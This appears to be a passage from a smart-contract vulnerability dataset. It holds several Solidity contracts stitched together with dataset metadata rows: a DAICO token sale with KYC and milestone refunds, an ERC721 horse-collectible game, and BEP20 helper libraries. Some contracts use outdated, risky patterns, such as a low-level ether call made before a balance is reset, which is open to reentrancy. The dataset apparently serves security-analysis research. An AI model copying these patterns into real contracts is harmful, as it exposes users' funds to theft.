require(totalPayed <= _maxAmount);
alreadyPayed[_buyerId] = totalPayed;
emit KycVerified(signer, _buyerAddress, _buyerId, _maxAmount);
return releaseTokensTo(_buyerAddress);
}
function hasher (address _buyerAddress, bytes32 _buyerId, uint256 _maxAmount) public view returns (bytes32 hash) {
hash = keccak256(abi.encodePacked("Atomax authorization:", this, _buyerAddress, _buyerId, _maxAmount));
}
}
contract RC_KYC is AtomaxKycInterface, AtomaxKyc {
using SafeMath for uint256;
TokedoDaico tokenSaleContract;
uint256 public startTime;
uint256 public endTime;
uint256 public etherMinimum;
uint256 public soldTokens;
uint256 public remainingTokens;
uint256 public tokenPrice;
mapping(address => uint256) public etherUser;
mapping(address => uint256) public pendingTokenUser;
mapping(address => uint256) public tokenUser;
constructor(address _tokenSaleContract, uint256 _tokenPrice, uint256 _remainingTokens, uint256 _etherMinimum, uint256 _startTime , uint256 _endTime) public {
require (_tokenSaleContract != address(0), "_tokenSaleContract != address(0)");
require (_tokenPrice != 0, "_tokenPrice != 0");
require (_remainingTokens != 0, "_remainingTokens != 0");
require (_startTime != 0, "_startTime != 0");
require (_endTime != 0, "_endTime != 0");
tokenSaleContract = TokedoDaico(_tokenSaleContract);
soldTokens = 0;
remainingTokens = _remainingTokens;
tokenPrice = _tokenPrice;
etherMinimum = _etherMinimum;
startTime = _startTime;
endTime = _endTime;
}
modifier onlyTokenSaleOwner() {
require(msg.sender == tokenSaleContract.owner());
_;
}
function setTime(uint256 _newStart, uint256 _newEnd) public onlyTokenSaleOwner {
if (_newStart != 0) startTime = _newStart;
if (_newEnd != 0) endTime = _newEnd;
}
function changeMinimum(uint256 _newEtherMinimum) public onlyTokenSaleOwner {
etherMinimum = _newEtherMinimum;
}
function releaseTokensTo(address buyer) internal returns(bool) {
if(msg.value > 0) takeEther(buyer);
giveToken(buyer);
return true;
}
function started() public view returns(bool) {
return now > startTime || remainingTokens == 0;
}
function ended() public view returns(bool) {
return now > endTime || remainingTokens == 0;
}
function startTime() public view returns(uint) {
return startTime;
}
function endTime() public view returns(uint) {
return endTime;
}
function totalTokens() public view returns(uint) {
return remainingTokens.add(soldTokens);
}
function remainingTokens() public view returns(uint) {
return remainingTokens;
}
function price() public view returns(uint) {
return uint256(1 ether).div(tokenPrice).mul(10 ** uint256(tokenSaleContract.decimals()));
}
function () public payable{
takeEther(msg.sender);
}
event TakeEther(address buyer, uint256 value, uint256 soldToken, uint256 tokenPrice);
function takeEther(address _buyer) internal {
require(now > startTime, "now > startTime");
require(now < endTime, "now < endTime");
require(msg.value >= etherMinimum, "msg.value >= etherMinimum");
require(remainingTokens > 0, "remainingTokens > 0");
uint256 oneToken = 10 ** uint256(tokenSaleContract.decimals());
uint256 tokenAmount = msg.value.mul(oneToken).div(tokenPrice);
uint256 remainingTokensGlobal = tokenInterface(tokenSaleContract.tokenContract()).balanceOf(address(tokenSaleContract));
uint256 remainingTokensApplied;
if (remainingTokensGlobal > remainingTokens) {
remainingTokensApplied = remainingTokens;
} else {
remainingTokensApplied = remainingTokensGlobal;
}
uint256 refund = 0;
if (remainingTokensApplied < tokenAmount) {
refund = (tokenAmount - remainingTokensApplied).mul(tokenPrice).div(oneToken);
tokenAmount = remainingTokensApplied;
remainingTokens = 0;
_buyer.transfer(refund);
} else {
remainingTokens = remainingTokens.sub(tokenAmount);
}
etherUser[_buyer] = etherUser[_buyer].add(msg.value.sub(refund));
pendingTokenUser[_buyer] = pendingTokenUser[_buyer].add(tokenAmount);
emit TakeEther(_buyer, msg.value, tokenAmount, tokenPrice);
}
function giveToken(address _buyer) internal {
require(pendingTokenUser[_buyer] > 0, "pendingTokenUser[_buyer] > 0");
tokenUser[_buyer] = tokenUser[_buyer].add(pendingTokenUser[_buyer]);
tokenSaleContract.sendTokens(_buyer, pendingTokenUser[_buyer]);
soldTokens = soldTokens.add(pendingTokenUser[_buyer]);
pendingTokenUser[_buyer] = 0;
require(address(tokenSaleContract).call.value(etherUser[_buyer])(bytes4(keccak256("forwardEther()"))));
etherUser[_buyer] = 0;
}
function refundEther(address to) public onlyTokenSaleOwner {
to.transfer(etherUser[to]);
etherUser[to] = 0;
pendingTokenUser[to] = 0;
}
function withdraw(address to, uint256 value) public onlyTokenSaleOwner {
to.transfer(value);
}
function userBalance(address _user) public view returns(uint256 _pendingTokenUser, uint256 _tokenUser, uint256 _etherUser) {
return (pendingTokenUser[_user], tokenUser[_user], etherUser[_user]);
}
}
contract TokedoDaico is Ownable {
using SafeMath for uint256;
tokenInterface public tokenContract;
address public milestoneSystem;
uint256 public decimals;
uint256 public tokenPrice;
mapping(address => bool) public rc;
constructor(address _wallet, address _tokenAddress, uint256[] _time, uint256[] _funds, uint256 _tokenPrice, uint256 _activeSupply) public {
tokenContract = tokenInterface(_tokenAddress);
decimals = tokenContract.decimals();
tokenPrice = _tokenPrice;
milestoneSystem = new MilestoneSystem(_wallet,_tokenAddress, _time, _funds, _tokenPrice, _activeSupply);
}
modifier onlyRC() {
require(rc[msg.sender], "rc[msg.sender]");
_;
}
function forwardEther() onlyRC payable public returns(bool) {
require(milestoneSystem.call.value(msg.value)(), "wallet.call.value(msg.value)()");
return true;
}
function sendTokens(address _buyer, uint256 _amount) onlyRC public returns(bool) {
return tokenContract.transfer(_buyer, _amount);
}
event NewRC(address contr);
function addRC(address _rc) onlyOwner public {
rc[ _rc ] = true;
emit NewRC(_rc);
}
function withdrawTokens(address to, uint256 value) public onlyOwner returns (bool) {
return tokenContract.transfer(to, value);
}
function setTokenContract(address _tokenContract) public onlyOwner {
tokenContract = tokenInterface(_tokenContract);
}
}
contract MilestoneSystem {
using SafeMath for uint256;
tokenInterface public tokenContract;
TokedoDaico public tokenSaleContract;
uint256[] public time;
uint256[] public funds;
bool public locked = false;
uint256 public endTimeToReturnTokens;
uint8 public step = 0;
uint256 public constant timeframeMilestone = 3 days;
uint256 public constant timeframeDeath = 30 days;
uint256 public activeSupply;
uint256 public tokenPrice;
uint256 public etherReceived;
address public wallet;
mapping(address => mapping(uint8 => uint256)) public balance;
mapping(uint8 => uint256) public tokenDistrusted;
constructor(address _wallet, address _tokenAddress, uint256[] _time, uint256[] _funds, uint256 _tokenPrice, uint256 _activeSupply) public {
require(_wallet != address(0), "_wallet != address(0)");
require(_time.length != 0, "_time.length != 0");
require(_time.length == _funds.length, "_time.length == _funds.length");
wallet = _wallet;
tokenContract = tokenInterface(_tokenAddress);
tokenSaleContract = TokedoDaico(msg.sender);
time = _time;
funds = _funds;
activeSupply = _activeSupply;
tokenPrice = _tokenPrice;
}
modifier onlyTokenSaleOwner() {
require(msg.sender == tokenSaleContract.owner(), "msg.sender == tokenSaleContract.owner()");
_;
}
event Distrust(address sender, uint256 amount);
event Locked();
function distrust(address _from, uint _value, bytes _data) public {
require(msg.sender == address(tokenContract), "msg.sender == address(tokenContract)");
if (!locked) {
uint256 startTimeMilestone = time[step].sub(timeframeMilestone);
uint256 endTimeMilestone = time[step];
uint256 startTimeProjectDeath = time[step].add(timeframeDeath);
bool unclaimedFunds = funds[step] > 0;
require((now > startTimeMilestone && now < endTimeMilestone) ||
(now > startTimeProjectDeath && unclaimedFunds),
"(now > startTimeMilestone && now < endTimeMilestone) || (now > startTimeProjectDeath && unclaimedFunds)");
} else {
require(locked && now < endTimeToReturnTokens);
}
balance[_from][step] = balance[_from][step].add(_value);
tokenDistrusted[step] = tokenDistrusted[step].add(_value);
emit Distrust(msg.sender, _value);
if(tokenDistrusted[step] > activeSupply && !locked) {
locked = true;
endTimeToReturnTokens = now.add(timeframeDeath);
emit Locked();
}
}
function tokenFallback(address _from, uint _value, bytes _data) public {
distrust(_from, _value, _data);
}
function receiveApproval(address _from, uint _value, bytes _data) public {
require(msg.sender == address(tokenContract), "msg.sender == address(tokenContract)");
require(msg.sender.call(bytes4(keccak256("transferFrom(address,address,uint256)")), _from, this, _value));
distrust(_from, _value, _data);
}
event Trust(address sender, uint256 amount);
event Unlocked();
function trust(uint8 _step) public {
require(balance[msg.sender][_step] > 0 , "balance[msg.sender] > 0");
uint256 amount = balance[msg.sender][_step];
balance[msg.sender][_step] = 0;
tokenDistrusted[_step] = tokenDistrusted[_step].sub(amount);
tokenContract.transfer(msg.sender, amount);
emit Trust(msg.sender, amount);
if(tokenDistrusted[step] <= activeSupply && locked) {
locked = false;
endTimeToReturnTokens = 0;
emit Unlocked();
}
}
event Refund(address sender, uint256 money);
function refundMe() public {
require(locked, "locked");
require(now > endTimeToReturnTokens, "now > endTimeToReturnTokens");
uint256 ethTot = address(this).balance;
require(ethTot > 0 , "ethTot > 0");
uint256 tknAmount = balance[msg.sender][step];
require(tknAmount > 0 , "tknAmount > 0");
balance[msg.sender][step] = 0;
tokenContract.burn(tknAmount);
uint256 tknTot = tokenDistrusted[step];
uint256 rate = tknAmount.mul(1e18).div(tknTot);
uint256 money = ethTot.mul(rate).div(1e18);
if(money > address(this).balance) {
money = address(this).balance;
}
msg.sender.transfer(money);
emit Refund(msg.sender, money);
}
function ownerWithdraw() public onlyTokenSaleOwner {
require(!locked, "!locked");
require(now > time[step], "now > time[step]");
require(funds[step] > 0, "funds[step] > 0");
uint256 amountApplied = funds[step];
funds[step] = 0;
step = step+1;
uint256 value;
if(amountApplied > address(this).balance || time.length == step+1)
value = address(this).balance;
else {
value = amountApplied;
}
msg.sender.transfer(value);
}
function ownerWithdrawTokens(address _tokenContract, address to, uint256 value) public onlyTokenSaleOwner returns (bool) {
require(_tokenContract != address(tokenContract), "_tokenContract != address(tokenContract)");
return tokenInterface(_tokenContract).transfer(to, value);
}
function setWallet(address _wallet) public onlyTokenSaleOwner returns(bool) {
require(_wallet != address(0), "_wallet != address(0)");
wallet = _wallet;
return true;
}
function () public payable {
require(msg.sender == address(tokenSaleContract), "msg.sender == address(tokenSaleContract)");
if(etherReceived < funds[0]) {
require(wallet != address(0), "wallet != address(0)");
wallet.transfer(msg.value);
}
etherReceived = etherReceived.add(msg.value);
}
}
| 65,848 | 12,447 |
d214b682ecac347a565fd1ace6f07de9817642578a515f4b2f6e064c020041e8
| 29,307 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xa4bef4c1cf2b6ffabc49d0737bf367d497d6defa.sol
| 4,444 | 15,796 |
pragma solidity ^0.4.24;
// File: ..\openzeppelin-solidity\contracts\ownership\Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: ..\openzeppelin-solidity\contracts\token\ERC721\ERC721Basic.sol
contract ERC721Basic {
event Transfer(address indexed _from,
address indexed _to,
uint256 _tokenId);
event Approval(address indexed _owner,
address indexed _approved,
uint256 _tokenId);
event ApprovalForAll(address indexed _owner,
address indexed _operator,
bool _approved);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId,
bytes _data)
public;
}
// File: ..\openzeppelin-solidity\contracts\token\ERC721\ERC721.sol
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner,
uint256 _index)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
// File: ..\openzeppelin-solidity\contracts\AddressUtils.sol
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
// File: ..\openzeppelin-solidity\contracts\math\SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: ..\openzeppelin-solidity\contracts\token\ERC721\ERC721Receiver.sol
contract ERC721Receiver {
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
function onERC721Received(address _from,
uint256 _tokenId,
bytes _data)
public
returns(bytes4);
}
// File: ..\openzeppelin-solidity\contracts\token\ERC721\ERC721BasicToken.sol
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(address _owner,
address _operator)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(address _from,
address _to,
uint256 _tokenId)
public
canTransfer(_tokenId)
{
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId)
public
canTransfer(_tokenId)
{
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId,
bytes _data)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(address _spender,
uint256 _tokenId)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender));
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
emit Approval(_owner, address(0), _tokenId);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(address _from,
address _to,
uint256 _tokenId,
bytes _data)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
// File: ..\openzeppelin-solidity\contracts\token\ERC721\ERC721Token.sol
contract ERC721Token is ERC721, ERC721BasicToken {
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(address _owner,
uint256 _index)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Clear metadata (if any)
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
// File: contracts\RoyalStables.sol
contract RoyalStables is Ownable,ERC721Token {
struct Horsey {
address race; /// @dev Stores the original race address this horsey was claimed from
bytes32 dna; /// @dev Stores the horsey dna
uint8 feedingCounter; /// @dev Boils down to how many times has this horsey been fed
uint8 tier; /// @dev Used internaly to assess chances of a rare trait developing while feeding
}
/// @dev Maps all token ids to a unique Horsey
mapping(uint256 => Horsey) public horseys;
/// @dev Maps addresses to the amount of carrots they own
mapping(address => uint32) public carrot_credits;
/// @dev Maps a horsey token id to the horsey name
mapping(uint256 => string) public names;
/// @dev Master is the current Horsey contract using this library
address public master;
constructor() public
Ownable()
ERC721Token("HORSEY","HRSY") {
}
function changeMaster(address newMaster) public
validAddress(newMaster)
onlyOwner() {
master = newMaster;
}
function getOwnedTokens(address eth_address) public view returns (uint256[]) {
return ownedTokens[eth_address];
}
function storeName(uint256 tokenId, string newName) public
onlyMaster() {
require(exists(tokenId),"token not found");
names[tokenId] = newName;
}
function storeCarrotsCredit(address client, uint32 amount) public
onlyMaster()
validAddress(client) {
carrot_credits[client] = amount;
}
function storeHorsey(address client, uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public
onlyMaster()
validAddress(client) {
//_mint checks if the token exists before minting already, so we dont have to here
_mint(client,tokenId);
modifyHorsey(tokenId,race,dna,feedingCounter,tier);
}
function modifyHorsey(uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public
onlyMaster() {
require(exists(tokenId),"token not found");
Horsey storage hrsy = horseys[tokenId];
hrsy.race = race;
hrsy.dna = dna;
hrsy.feedingCounter = feedingCounter;
hrsy.tier = tier;
}
function modifyHorseyDna(uint256 tokenId, bytes32 dna) public
onlyMaster() {
require(exists(tokenId),"token not found");
horseys[tokenId].dna = dna;
}
function modifyHorseyFeedingCounter(uint256 tokenId, uint8 feedingCounter) public
onlyMaster() {
require(exists(tokenId),"token not found");
horseys[tokenId].feedingCounter = feedingCounter;
}
function modifyHorseyTier(uint256 tokenId, uint8 tier) public
onlyMaster() {
require(exists(tokenId),"token not found");
horseys[tokenId].tier = tier;
}
function unstoreHorsey(uint256 tokenId) public
onlyMaster()
{
require(exists(tokenId),"token not found");
_burn(ownerOf(tokenId),tokenId);
delete horseys[tokenId];
delete names[tokenId];
}
/// @dev requires the address to be non null
modifier validAddress(address addr) {
require(addr != address(0),"Address must be non zero");
_;
}
/// @dev requires the caller to be the master
modifier onlyMaster() {
require(master == msg.sender,"Address must be non zero");
_;
}
}
| 193,263 | 12,448 |
3ef6ad50ec74cee7273373c8900f321c72d8e07ea078a5695bf8b8a463e44ad2
| 30,715 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x56fbb5D02594aa7baf09822F7e9ed95918ED949a/contract.sol
| 3,832 | 15,108 |
pragma solidity 0.6.12;
//
library SafeMath {
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) =
target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target,
data,
"Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(target,
data,
"Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
library SafeBEP20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IBEP20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token,
abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IBEP20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IBEP20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeBEP20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IBEP20 token,
address spender,
uint256 value) internal {
uint256 newAllowance =
token.allowance(address(this), spender).add(value);
_callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector,
spender,
newAllowance));
}
function safeDecreaseAllowance(IBEP20 token,
address spender,
uint256 value) internal {
uint256 newAllowance =
token.allowance(address(this), spender).sub(value,
"SafeBEP20: decreased allowance below zero");
_callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector,
spender,
newAllowance));
}
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata =
address(token).functionCall(data,
"SafeBEP20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)),
"SafeBEP20: BEP20 operation did not succeed");
}
